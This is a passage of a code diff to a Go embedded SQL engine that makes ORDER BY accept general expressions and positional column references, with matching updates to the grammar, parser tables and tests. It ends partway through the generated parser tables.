selectors[i] = EncodeSelector("", "table1", col) - } - specs := reader.ScanSpecs() if test.expectedIndex != nil { @@ -4549,14 +4562,32 @@ func TestOrderBy(t *testing.T) { require.Equal(t, col, specs.Index.cols[i].Name()) } } else { - require.Len(t, specs.orderBySortCols, len(orderByCols)) - for i, col := range specs.orderBySortCols { - require.Equal(t, selectors[i], EncodeSelector(col.sel.resolve("table1"))) + require.Len(t, specs.orderBySortExps, len(orderByCols)) + for i, col := range specs.orderBySortExps { + e, err := ParseExpFromString(test.exps[i]) + require.NoError(t, err) + require.Equal(t, e, col.exp) } } - checkRowsAreSorted(t, rows, selectors, test.directions) - checkDataItegrity(t, rows, "table1") + checkRowsAreSorted(t, rows, test.exps, test.directions, "table1") + checkDataIntegrity(t, rows, "table1") + + if test.positionalRefs != nil { + orderByColPositions := make([]string, len(test.exps)) + for i, ref := range test.positionalRefs { + orderByColPositions[i] = strconv.Itoa(ref) + " " + directionToSql(test.directions[i]) + } + + rows1, err := engine.queryAll( + context.Background(), + nil, + fmt.Sprintf("SELECT * FROM table1 ORDER BY %s", strings.Join(orderByColPositions, ",")), + nil, + ) + require.NoError(t, err) + require.Equal(t, rows, rows1) + } tx := reader.Tx() require.Len(t, tx.tempFiles, expectedTempFiles) @@ -4565,7 +4596,7 @@ func TestOrderBy(t *testing.T) { } for _, test := range testCases { - t.Run(fmt.Sprintf("order by on %s should be executed using in memory sort", strings.Join(test.columns, ",")), func(t *testing.T) { + t.Run(fmt.Sprintf("order by on %s should be executed using in memory sort", strings.Join(test.exps, ",")), func(t *testing.T) { runTest(t, &test, 0) }) } @@ -4573,7 +4604,7 @@ func TestOrderBy(t *testing.T) { engine.sortBufferSize = 4 + rand.Intn(13) // [4, 16] for _, test := range testCases { - t.Run(fmt.Sprintf("order by on %s should be executed using file sort", strings.Join(test.columns, ",")), func(t *testing.T) { + t.Run(fmt.Sprintf("order by on %s should be executed using file sort", strings.Join(test.exps, ",")), func(t *testing.T) { runTest(t, &test, 2) }) } @@ -4587,7 +4618,7 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) require.Len(t, rows, rowCount) - checkRowsAreSorted(t, rows, []string{EncodeSelector("", "t1", "age")}, []int{-1}) + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "t1", "age")}, []int{-1}, "t1") }) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) @@ -4601,29 +4632,29 @@ func TestOrderBy(t *testing.T) { testCases = []test{ { - columns: []string{"age"}, + exps: []string{"age"}, directions: []int{1}, expectedIndex: []string{"age"}, }, { - columns: []string{"title"}, + exps: []string{"title"}, directions: []int{-1}, expectedIndex: []string{"title", "age"}, }, { - columns: []string{"title", "age"}, + exps: []string{"title", "age"}, directions: []int{1, 1}, expectedIndex: []string{"title", "age"}, }, { - columns: []string{"age", "title"}, + exps: []string{"age", "title"}, directions: []int{-1, -1, -1}, expectedIndex: []string{"age", "title", "height"}, }, } for _, test := range testCases { - t.Run(fmt.Sprintf("order by on %s should be executed using index", strings.Join(test.columns, ",")), func(t *testing.T) { + t.Run(fmt.Sprintf("order by on %s should be executed using index", strings.Join(test.exps, ",")), func(t *testing.T) { runTest(t, &test, 0) }) } @@ -4640,12 +4671,12 @@ func TestOrderBy(t *testing.T) { require.NoError(t, err) require.Len(t, rows, rowCount) - require.Len(t, specs.orderBySortCols, 2) - require.Equal(t, EncodeSelector(specs.orderBySortCols[0].sel.resolve("table1")), EncodeSelector("", "table1", "title")) - require.Equal(t, EncodeSelector(specs.orderBySortCols[1].sel.resolve("table1")), EncodeSelector("", "table1", "age")) + require.Len(t, specs.orderBySortExps, 2) + require.Equal(t, EncodeSelector(specs.orderBySortExps[0].AsSelector().resolve("table1")), EncodeSelector("", "table1", "title")) + require.Equal(t, EncodeSelector(specs.orderBySortExps[1].AsSelector().resolve("table1")), EncodeSelector("", "table1", "age")) - checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{1, -1}) - checkDataItegrity(t, rows, "table1") + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{1, -1}, "table1") + checkDataIntegrity(t, rows, "table1") }) t.Run("sorting not required", func(t *testing.T) { @@ -4658,7 +4689,7 @@ func TestOrderBy(t *testing.T) { rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) - require.Len(t, specs.orderBySortCols, 0) + require.Len(t, specs.orderBySortExps, 0) require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, 2) @@ -4666,8 +4697,8 @@ func TestOrderBy(t *testing.T) { require.Equal(t, "title", specs.Index.cols[0].Name()) require.Equal(t, "age", specs.Index.cols[1].Name()) - checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{-1, -1}) - checkDataItegrity(t, rows, "table1") + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age")}, []int{-1, -1}, "table1") + checkDataIntegrity(t, rows, "table1") }) }) @@ -4685,7 +4716,7 @@ func TestOrderBy(t *testing.T) { } t.Run("order by with null values", func(t *testing.T) { - reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age, height, created_at FROM table1 ORDER BY title, id", nil) + reader, err := engine.Query(context.Background(), nil, "SELECT id, title, age, height, weight, created_at FROM table1 ORDER BY title, id", nil) require.NoError(t, err) defer reader.Close() @@ -4705,8 +4736,8 @@ func TestOrderBy(t *testing.T) { tx := reader.Tx() require.Len(t, tx.tempFiles, 2) - checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "id")}, []int{1, 1}) - checkDataItegrity(t, rows[nullValues:], "table1") + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "id")}, []int{1, 1}, "table1") + checkDataIntegrity(t, rows[nullValues:], "table1") }) } @@ -4717,14 +4748,27 @@ func directionToSql(direction int) string { return "DESC" } -func checkRowsAreSorted(t *testing.T, rows []*Row, selectors []string, directions []int) { - k1 := make(Tuple, len(selectors)) - k2 := make(Tuple, len(selectors)) +func checkRowsAreSorted(t *testing.T, rows []*Row, expStrings []string, directions []int, table string) { + exps := make([]ValueExp, len(expStrings)) + for i, s := range expStrings { + e, err := ParseExpFromString(s) + require.NoError(t, err) + exps[i] = e + } + + k1 := make(Tuple, len(exps)) + k2 := make(Tuple, len(exps)) isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { - for idx, sel := range selectors { - k1[idx] = rows[i].ValuesBySelector[sel] - k2[idx] = rows[j].ValuesBySelector[sel] + for idx, e := range exps { + v1, err := e.reduce(nil, rows[i], table) + require.NoError(t, err) + + v2, err := e.reduce(nil, rows[j], table) + require.NoError(t, err) + + k1[idx] = v1 + k2[idx] = v2 } res, idx, err := Tuple(k1).Compare(k2) @@ -5410,7 +5454,7 @@ func TestGroupBy(t *testing.T) { for _, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) } - checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age"), EncodeSelector("", "table1", "id")}, []int{-1, 1, 1}) + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age"), EncodeSelector("", "table1", "id")}, []int{-1, 1, 1}, "table1") }) t.Run("index covers group by but not order by", func(t *testing.T) { @@ -5432,7 +5476,7 @@ func TestGroupBy(t *testing.T) { for _, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) } - checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}) + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}, "table1") }) t.Run("preferred index doesn't cover group by and order by", func(t *testing.T) { @@ -5442,8 +5486,8 @@ func TestGroupBy(t *testing.T) { specs := reader.ScanSpecs() require.NotNil(t, specs.Index) - require.Len(t, specs.groupBySortColumns, 2) - require.Len(t, specs.orderBySortCols, 1) + require.Len(t, specs.groupBySortExps, 2) + require.Len(t, specs.orderBySortExps, 1) require.Len(t, specs.Index.cols, 1) require.Equal(t, specs.Index.cols[0].Name(), "age") @@ -5454,7 +5498,7 @@ func TestGroupBy(t *testing.T) { for _, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) } - checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}) + checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}, "table1") }) t.Run("index covers group by and order by because of unitary filter", func(t *testing.T) { @@ -5464,8 +5508,8 @@ func TestGroupBy(t *testing.T) { specs := reader.ScanSpecs() require.NotNil(t, specs.Index) - require.Len(t, specs.groupBySortColumns, 0) - require.Len(t, specs.orderBySortCols, 0) + require.Len(t, specs.groupBySortExps, 0) + require.Len(t, specs.orderBySortExps, 0) require.Len(t, specs.Index.cols, 2) require.Equal(t, specs.Index.cols[0].Name(), "title") diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 953b0c0e2c..56c3ca0d9a 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1049,9 +1049,9 @@ func TestSelectStmt(t *testing.T) { {Exp: &ColSelector{col: "year"}}, }, ds: &tableRef{table: "table1"}, - orderBy: []*OrdCol{ - {sel: &ColSelector{col: "title"}}, - {sel: &ColSelector{col: "year"}, descOrder: true}, + orderBy: []*OrdExp{ + {exp: &ColSelector{col: "title"}}, + {exp: &ColSelector{col: "year"}, descOrder: true}, }, }}, expectedError: nil, @@ -1089,8 +1089,8 @@ func TestSelectStmt(t *testing.T) { left: &ColSelector{col: "name"}, right: &Varchar{val: "John"}, }, - orderBy: []*OrdCol{ - {sel: &ColSelector{col: "name"}, descOrder: true}, + orderBy: []*OrdExp{ + {exp: &ColSelector{col: "name"}, descOrder: true}, }, }}, expectedError: nil, @@ -1128,8 +1128,8 @@ func TestSelectStmt(t *testing.T) { left: &ColSelector{col: "name"}, right: &Varchar{val: "John"}, }, - orderBy: []*OrdCol{ - {sel: &ColSelector{col: "name"}, descOrder: true}, + orderBy: []*OrdExp{ + {exp: &ColSelector{col: "name"}, descOrder: true}, }, }}, expectedError: nil, @@ -1167,8 +1167,8 @@ func TestSelectStmt(t *testing.T) { left: &ColSelector{col: "name"}, right: &Varchar{val: "John"}, }, - orderBy: []*OrdCol{ - {sel: &ColSelector{col: "name"}, descOrder: true}, + orderBy: []*OrdExp{ + {exp: &ColSelector{col: "name"}, descOrder: true}, }, }}, expectedError: nil, diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 46e122481c..25f7dea0b0 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -42,13 +42,13 @@ type RowReader interface { } type ScanSpecs struct { - Index *Index - rangesByColID map[uint32]*typedValueRange - IncludeHistory bool - IncludeTxMetadata bool - DescOrder bool - groupBySortColumns []*OrdCol - orderBySortCols []*OrdCol + Index *Index + rangesByColID map[uint32]*typedValueRange + IncludeHistory bool + IncludeTxMetadata bool + DescOrder bool + groupBySortExps []*OrdExp + orderBySortExps []*OrdExp } func (s *ScanSpecs) extraCols() int { diff --git a/embedded/sql/sort_reader.go b/embedded/sql/sort_reader.go index 23ea509128..3957bb13c8 100644 --- a/embedded/sql/sort_reader.go +++ b/embedded/sql/sort_reader.go @@ -18,6 +18,7 @@ package sql import ( "context" + "fmt" ) type sortDirection int8 @@ -29,15 +30,15 @@ const ( type sortRowReader struct { rowReader RowReader - ordCols []*OrdCol + ordExps []*OrdExp orderByDescriptors []ColDescriptor sorter fileSorter resultReader resultReader } -func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, error) { - if rowReader == nil || len(ordCols) == 0 { +func newSortRowReader(rowReader RowReader, ordExps []*OrdExp) (*sortRowReader, error) { + if rowReader == nil || len(ordExps) == 0 { return nil, ErrIllegalArguments } @@ -46,6 +47,13 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e return nil, err } + for _, col := range ordExps { + colPos, isColRef := col.exp.(*Integer) + if isColRef && (colPos.val <= 0 || colPos.val > int64(len(descriptors))) { + return nil, fmt.Errorf("position %d is not in select list", colPos.val) + } + } + colPosBySelector, err := getColPositionsBySelector(descriptors) if err != nil { return nil, err @@ -56,7 +64,7 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e return nil, err } - orderByDescriptors, err := getOrderByDescriptors(ordCols, rowReader) + orderByDescriptors, err := getOrderByDescriptors(ordExps, rowReader) if err != nil { return nil, err } @@ -64,7 +72,7 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e tx := rowReader.Tx() sr := &sortRowReader{ rowReader: rowReader, - ordCols: ordCols, + ordExps: ordExps, orderByDescriptors: orderByDescriptors, sorter: fileSorter{ colPosBySelector: colPosBySelector, @@ -75,23 +83,23 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e }, } - directions := make([]sortDirection, len(ordCols)) - for i, col := range ordCols { + directions := make([]sortDirection, len(ordExps)) + for i, col := range ordExps { directions[i] = sortDirectionAsc if col.descOrder { directions[i] = sortDirectionDesc } } - t1 := make(Tuple, len(ordCols)) - t2 := make(Tuple, len(ordCols)) + t1 := make(Tuple, len(ordExps)) + t2 := make(Tuple, len(ordExps)) sr.sorter.cmp = func(r1, r2 *Row) (int, error) { - if err := sr.evalSortSelectors(r1, t1); err != nil { + if err := sr.evalSortExps(r1, t1); err != nil { return 0, err } - if err := sr.evalSortSelectors(r2, t2); err != nil { + if err := sr.evalSortExps(r2, t2); err != nil { return 0, err } @@ -108,37 +116,52 @@ func newSortRowReader(rowReader RowReader, ordCols []*OrdCol) (*sortRowReader, e return sr, nil } -func (s *sortRowReader) evalSortSelectors(inRow *Row, out Tuple) error { - for i, col := range s.ordCols { - val, err := col.sel.reduce(s.Tx(), inRow, s.TableAlias()) - if err != nil { - return err +func (s *sortRowReader) evalSortExps(inRow *Row, out Tuple) error { + for i, col := range s.ordExps { + colPos, isColRef := col.exp.(*Integer) + if isColRef { + if colPos.val < 1 || colPos.val > int64(len(inRow.ValuesByPosition)) { + return fmt.Errorf("position %d is not in select list", colPos.val) + } + out[i] = inRow.ValuesByPosition[colPos.val-1] + } else { + val, err := col.exp.reduce(s.Tx(), inRow, s.TableAlias()) + if err != nil { + return err + } + out[i] = val } - out[i] = val } return nil } -func getOrderByDescriptors(ordCols []*OrdCol, rowReader RowReader) ([]ColDescriptor, error) { +func getOrderByDescriptors(ordExps []*OrdExp, rowReader RowReader) ([]ColDescriptor, error) { colsBySel, err := rowReader.colsBySelector(context.Background()) if err != nil { return nil, err } params := make(map[string]string) - orderByDescriptors := make([]ColDescriptor, len(ordCols)) - for i, col := range ordCols { - sqlType, err := col.sel.inferType(colsBySel, params, rowReader.TableAlias()) + orderByDescriptors := make([]ColDescriptor, len(ordExps)) + for i, col := range ordExps { + sqlType, err := col.exp.inferType(colsBySel, params, rowReader.TableAlias()) if err != nil { return nil, err } - aggFn, table, col := col.sel.resolve(rowReader.TableAlias()) - orderByDescriptors[i] = ColDescriptor{ - AggFn: aggFn, - Table: table, - Column: col, - Type: sqlType, + if sel := col.AsSelector(); sel != nil { + aggFn, table, col := sel.resolve(rowReader.TableAlias()) + orderByDescriptors[i] = ColDescriptor{ + AggFn: aggFn, + Table: table, + Column: col, + Type: sqlType, + } + } else { + orderByDescriptors[i] = ColDescriptor{ + Column: col.exp.String(), + Type: sqlType, + } } } return orderByDescriptors, nil diff --git a/embedded/sql/sort_reader_test.go b/embedded/sql/sort_reader_test.go index 0f2c26ae18..173ba95899 100644 --- a/embedded/sql/sort_reader_test.go +++ b/embedded/sql/sort_reader_test.go @@ -50,7 +50,7 @@ func TestSortRowReader(t *testing.T) { r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) - sr, err := newSortRowReader(r, []*OrdCol{{sel: &ColSelector{col: "number"}}}) + sr, err := newSortRowReader(r, []*OrdExp{{exp: &ColSelector{col: "number"}}}) require.NoError(t, err) orderBy := sr.OrderBy() diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 115e350ff8..18019ada07 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -61,7 +61,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { exp ValueExp binExp ValueExp err error - ordcols []*OrdCol + ordexps []*OrdExp opt_ord bool logicOp LogicOperator cmpOp CmpOperator @@ -143,7 +143,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type opt_targets targets %type opt_max_len %type opt_as -%type ordcols opt_orderby +%type ordexps opt_orderby %type opt_ord %type opt_indexon %type opt_if_not_exists opt_auto_increment opt_not_null opt_not @@ -986,7 +986,7 @@ opt_orderby: $$ = nil } | - ORDER BY ordcols + ORDER BY ordexps { $$ = $3 } @@ -1001,15 +1001,15 @@ opt_indexon: $$ = $4 } -ordcols: - selector opt_ord +ordexps: + exp opt_ord { - $$ = []*OrdCol{{sel: $1, descOrder: $2}} + $$ = []*OrdExp{{exp: $1, descOrder: $2}} } | - ordcols ',' selector opt_ord + ordexps ',' exp opt_ord { - $$ = append($1, &OrdCol{sel: $3, descOrder: $4}) + $$ = append($1, &OrdExp{exp: $3, descOrder: $4}) } opt_ord: @@ -1086,7 +1086,13 @@ exp: | '-' exp { - $$ = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: $2} + i, isInt := $2.(*Integer) + if isInt { + i.val = -i.val + $$ = i + } else { + $$ = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: $2} + } } | boundexp opt_not LIKE exp diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 33b1b4bd62..577d737da6 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -47,7 +47,7 @@ type yySymType struct { exp ValueExp binExp ValueExp err error - ordcols []*OrdCol + ordexps []*OrdExp opt_ord bool logicOp LogicOperator cmpOp CmpOperator @@ -311,125 +311,125 @@ var yyExca = [...]int16{ const yyPrivate = 57344 -const yyLast = 583 +const yyLast = 589 var yyAct = [...]int16{ - 131, 428, 103, 107, 310, 153, 262, 335, 201, 353, - 115, 207, 350, 240, 245, 241, 316, 305, 71, 144, - 198, 296, 395, 147, 22, 260, 341, 6, 340, 260, - 291, 416, 130, 260, 400, 260, 399, 396, 379, 367, - 106, 129, 342, 387, 300, 99, 161, 260, 101, 370, - 366, 364, 118, 114, 326, 21, 261, 324, 323, 116, - 117, 354, 96, 321, 119, 290, 109, 110, 111, 112, - 113, 108, 154, 155, 157, 156, 158, 100, 288, 287, - 355, 178, 281, 105, 106, 259, 351, 295, 280, 99, - 161, 177, 101, 177, 275, 274, 118, 114, 273, 272, + 131, 428, 310, 107, 335, 153, 262, 353, 350, 201, + 115, 207, 240, 316, 245, 241, 305, 296, 144, 147, + 198, 71, 395, 22, 341, 260, 340, 6, 260, 291, + 416, 260, 130, 260, 400, 399, 396, 379, 367, 106, + 342, 129, 300, 387, 99, 161, 260, 101, 370, 366, + 364, 118, 114, 212, 21, 261, 326, 324, 116, 117, + 354, 323, 96, 119, 321, 109, 110, 111, 112, 113, + 108, 154, 155, 157, 156, 158, 100, 290, 288, 355, + 178, 287, 105, 351, 106, 281, 259, 295, 280, 99, + 177, 177, 101, 275, 274, 161, 118, 114, 273, 272, 167, 168, 247, 116, 117, 187, 170, 172, 119, 163, - 109, 110, 111, 112, 113, 108, 132, 149, 157, 156, - 158, 100, 161, 238, 180, 176, 175, 105, 169, 143, - 142, 186, 24, 427, 159, 160, 162, 236, 145, 420, - 381, 292, 291, 260, 212, 152, 203, 234, 154, 155, - 157, 156, 158, 216, 83, 217, 218, 219, 220, 221, - 222, 223, 214, 106, 200, 174, 204, 178, 99, 184, - 185, 101, 134, 286, 238, 118, 114, 239, 242, 237, - 256, 108, 116, 117, 205, 249, 235, 119, 378, 109, - 110, 111, 112, 113, 108, 377, 163, 230, 333, 338, - 100, 94, 337, 293, 251, 32, 105, 267, 250, 210, - 211, 213, 33, 265, 229, 238, 268, 215, 161, 199, - 276, 76, 277, 162, 373, 361, 346, 269, 279, 266, - 106, 160, 319, 345, 285, 99, 209, 270, 101, 344, - 325, 308, 118, 114, 154, 155, 157, 156, 158, 116, - 117, 148, 255, 254, 119, 253, 109, 110, 111, 112, - 113, 108, 252, 246, 312, 246, 248, 100, 294, 243, - 226, 196, 314, 105, 195, 320, 188, 181, 302, 309, - 150, 242, 133, 122, 330, 331, 120, 307, 91, 307, - 54, 77, 334, 80, 31, 79, 328, 78, 75, 70, - 69, 206, 166, 376, 394, 271, 306, 336, 327, 161, - 375, 165, 352, 161, 22, 225, 343, 22, 278, 356, - 39, 227, 224, 393, 228, 159, 160, 360, 179, 362, - 363, 65, 365, 369, 358, 357, 49, 121, 372, 154, - 155, 157, 156, 158, 58, 21, 22, 231, 21, 329, - 233, 55, 242, 283, 161, 284, 90, 411, 311, 60, - 161, 429, 430, 263, 419, 382, 159, 160, 403, 388, - 214, 386, 159, 160, 385, 145, 383, 21, 402, 417, - 154, 155, 157, 156, 158, 390, 154, 155, 157, 156, - 158, 151, 408, 405, 398, 404, 359, 52, 407, 406, - 368, 62, 409, 412, 140, 397, 332, 414, 161, 56, - 57, 59, 380, 88, 161, 51, 421, 418, 50, 25, - 159, 160, 425, 423, 426, 422, 159, 160, 82, 92, - 431, 391, 289, 432, 154, 155, 157, 156, 158, 161, - 154, 155, 157, 156, 158, 161, 389, 10, 12, 11, - 338, 159, 160, 337, 64, 43, 47, 159, 160, 371, - 189, 208, 192, 193, 301, 154, 155, 157, 156, 158, - 13, 154, 155, 157, 156, 158, 190, 191, 48, 14, - 15, 53, 66, 67, 7, 137, 8, 9, 16, 17, - 258, 257, 18, 19, 415, 348, 44, 313, 182, 22, - 46, 45, 26, 30, 123, 84, 264, 42, 135, 136, - 36, 81, 85, 86, 87, 68, 2, 38, 27, 29, - 28, 322, 40, 124, 194, 34, 183, 35, 128, 127, - 21, 138, 37, 73, 74, 297, 298, 299, 125, 304, - 303, 63, 141, 139, 202, 23, 232, 41, 347, 146, - 164, 374, 392, 410, 424, 339, 95, 93, 102, 384, - 98, 282, 97, 401, 171, 318, 317, 315, 126, 72, - 89, 61, 173, 104, 349, 413, 197, 244, 20, 5, - 4, 3, 1, + 109, 110, 111, 112, 113, 108, 132, 149, 210, 211, + 213, 100, 161, 157, 156, 158, 215, 105, 238, 180, + 176, 186, 175, 169, 159, 160, 162, 143, 142, 24, + 145, 427, 236, 420, 381, 209, 203, 234, 154, 155, + 157, 156, 158, 216, 292, 217, 218, 219, 220, 221, + 222, 223, 214, 106, 200, 204, 291, 260, 99, 184, + 185, 101, 152, 83, 174, 118, 114, 239, 242, 237, + 178, 134, 116, 117, 286, 256, 205, 119, 249, 109, + 110, 111, 112, 113, 108, 235, 378, 230, 377, 338, + 100, 94, 337, 333, 251, 32, 105, 267, 250, 163, + 293, 229, 33, 76, 265, 238, 199, 268, 373, 106, + 276, 361, 277, 346, 99, 266, 345, 101, 279, 344, + 269, 118, 114, 325, 285, 308, 162, 270, 116, 117, + 148, 255, 254, 119, 253, 109, 110, 111, 112, 113, + 108, 252, 246, 248, 243, 226, 100, 196, 195, 188, + 181, 150, 105, 246, 312, 133, 122, 120, 294, 91, + 54, 80, 314, 161, 302, 320, 79, 78, 309, 75, + 70, 242, 69, 77, 330, 331, 160, 307, 206, 307, + 319, 376, 334, 161, 31, 58, 328, 394, 375, 154, + 155, 157, 156, 158, 22, 159, 160, 336, 327, 278, + 60, 393, 352, 161, 271, 166, 343, 356, 417, 154, + 155, 157, 156, 158, 165, 159, 160, 360, 306, 362, + 363, 358, 365, 369, 357, 21, 22, 225, 372, 154, + 155, 157, 156, 158, 224, 161, 227, 231, 65, 228, + 179, 121, 242, 161, 329, 22, 233, 429, 430, 90, + 56, 57, 59, 55, 382, 159, 160, 21, 411, 388, + 214, 386, 161, 283, 311, 284, 383, 263, 390, 154, + 155, 157, 156, 158, 159, 160, 21, 419, 39, 403, + 398, 385, 408, 405, 145, 407, 404, 406, 154, 155, + 157, 156, 158, 412, 49, 368, 402, 414, 359, 151, + 332, 52, 62, 161, 409, 397, 421, 418, 161, 88, + 425, 423, 422, 380, 426, 159, 160, 51, 431, 50, + 159, 160, 208, 432, 25, 82, 289, 92, 161, 154, + 155, 157, 156, 158, 154, 155, 157, 156, 158, 161, + 159, 160, 53, 64, 391, 389, 371, 10, 12, 11, + 338, 159, 160, 337, 154, 155, 157, 156, 158, 43, + 47, 189, 140, 192, 193, 154, 155, 157, 156, 158, + 13, 66, 67, 85, 86, 87, 190, 191, 137, 14, + 15, 301, 48, 258, 7, 415, 8, 9, 16, 17, + 257, 36, 18, 19, 348, 313, 182, 26, 30, 22, + 44, 135, 136, 123, 46, 45, 34, 84, 35, 2, + 81, 42, 124, 27, 29, 28, 264, 68, 38, 322, + 128, 127, 73, 74, 194, 183, 40, 297, 298, 299, + 21, 138, 125, 37, 63, 304, 303, 141, 139, 202, + 23, 232, 41, 347, 146, 164, 374, 392, 410, 424, + 339, 95, 93, 102, 384, 98, 282, 97, 401, 171, + 318, 317, 315, 126, 72, 89, 61, 173, 103, 104, + 349, 413, 197, 244, 20, 5, 4, 3, 1, } var yyPact = [...]int16{ - 443, -1000, -1000, 18, -1000, -1000, -1000, 377, -1000, -1000, - 495, 198, 502, 509, 451, 451, 371, 368, 339, 194, - 281, 321, 344, -1000, 443, -1000, 252, 252, 252, 490, - 204, -1000, 203, 517, 202, 195, 201, 199, 197, 485, - 388, 47, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 479, - 194, 194, 194, 362, -1000, 285, -1000, -1000, 192, -1000, - 390, 91, -1000, -1000, 190, 260, 187, 478, 252, 529, - -1000, -1000, 510, 12, 12, -1000, 186, 67, -1000, 480, - 522, 536, -1000, 451, 535, 15, 14, 314, 155, 261, - -1000, -1000, 184, 333, -1000, 38, 40, 225, -1000, 158, - 158, 13, -1000, -1000, -1000, 158, 158, 59, 11, -1000, - -1000, -1000, -1000, -1000, 10, -1000, -1000, -1000, -1000, -24, - -1000, 248, 9, 181, 472, 516, -1000, 12, 12, -1000, - 158, 357, -1000, -10, 180, 429, 446, 431, 514, 178, - -1000, 175, 123, 123, 538, 158, 77, -1000, 206, -1000, - -1000, 121, 158, -1000, 158, 158, 158, 158, 158, 158, - 158, 238, -1000, 174, 243, 117, -1000, 136, 8, 261, - 231, 277, 357, 41, 86, 27, 158, 158, 173, -1000, - 169, -13, 170, 85, -1000, -1000, 357, 123, -1000, 169, - 166, 159, 157, 156, 80, 461, 460, -31, 36, -1000, - -60, 299, 481, 357, 538, 155, 158, 538, 517, 290, - -16, -17, -20, -21, 127, -22, 40, 8, 8, 227, - 227, 227, 136, -36, -1000, 234, -1000, 158, -27, -1000, - -34, -1000, 280, 158, 73, -1000, -37, -38, 62, 363, - -51, 35, 357, -1000, 34, -1000, 106, 123, -28, 524, - -72, -1000, -1000, 434, -1000, -1000, 524, 532, 531, 258, - 145, 258, 293, 158, 471, 299, -1000, 357, 139, 127, - -53, 500, -58, -59, 144, -62, -1000, -1000, -1000, 136, - -32, -1000, 273, 158, 158, 332, -1000, -1000, -1000, 101, - -1000, 158, 167, -89, -74, 123, -1000, -1000, -1000, -1000, - -1000, 143, -1000, 137, 130, 469, -29, -1000, -1000, -1000, - -1000, 158, 357, -35, 293, 314, -1000, 139, 337, -1000, - -1000, 127, 129, 127, 127, -65, 127, -66, -77, -1000, - 326, 357, 158, -67, 357, 426, -1000, 158, 128, 226, - 97, 90, -1000, -78, -1000, -1000, -1000, -1000, 360, 33, - -1000, 158, 357, -1000, -1000, 123, -1000, 312, -1000, 121, - -1000, -73, -1000, -1000, -1000, -1000, -1000, -1000, 158, 357, - -1000, 412, 278, 396, 240, -1000, 220, -96, -79, -1000, - 352, -29, -80, -82, 318, 305, 538, 127, 357, -35, - 418, 158, -1000, -1000, -1000, -1000, -1000, 348, -1000, -1000, - -1000, 291, 158, 119, 468, -1000, -85, -1000, 272, -1000, - 299, 301, 357, 32, -1000, 158, -1000, 418, 293, 78, - 119, 357, -1000, -1000, 26, 294, -1000, 78, -1000, -1000, - -1000, 294, -1000, + 453, -1000, -1000, 25, -1000, -1000, -1000, 392, -1000, -1000, + 500, 198, 493, 520, 465, 465, 382, 380, 353, 174, + 293, 272, 355, -1000, 453, -1000, 269, 269, 269, 502, + 186, -1000, 184, 516, 183, 187, 181, 180, 175, 494, + 395, 66, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 491, + 174, 174, 174, 368, -1000, 288, -1000, -1000, 173, -1000, + 398, 91, -1000, -1000, 171, 274, 170, 487, 269, 533, + -1000, -1000, 512, 12, 12, -1000, 169, 76, -1000, 483, + 532, 541, -1000, 465, 540, 23, 22, 333, 144, 248, + -1000, -1000, 165, 351, -1000, 65, 40, 238, -1000, 147, + 147, 18, -1000, -1000, -1000, 147, 147, 68, 17, -1000, + -1000, -1000, -1000, -1000, 15, -1000, -1000, -1000, -1000, -25, + -1000, 270, 14, 164, 480, 525, -1000, 12, 12, -1000, + 147, 356, -1000, -10, 163, 440, 456, 442, 524, 162, + -1000, 161, 120, 120, 543, 147, 79, -1000, 193, -1000, + -1000, 30, 147, -1000, 147, 147, 147, 147, 147, 147, + 147, 260, -1000, 159, 268, 114, -1000, 191, 13, 248, + 231, 283, 356, 41, 95, 32, 147, 147, 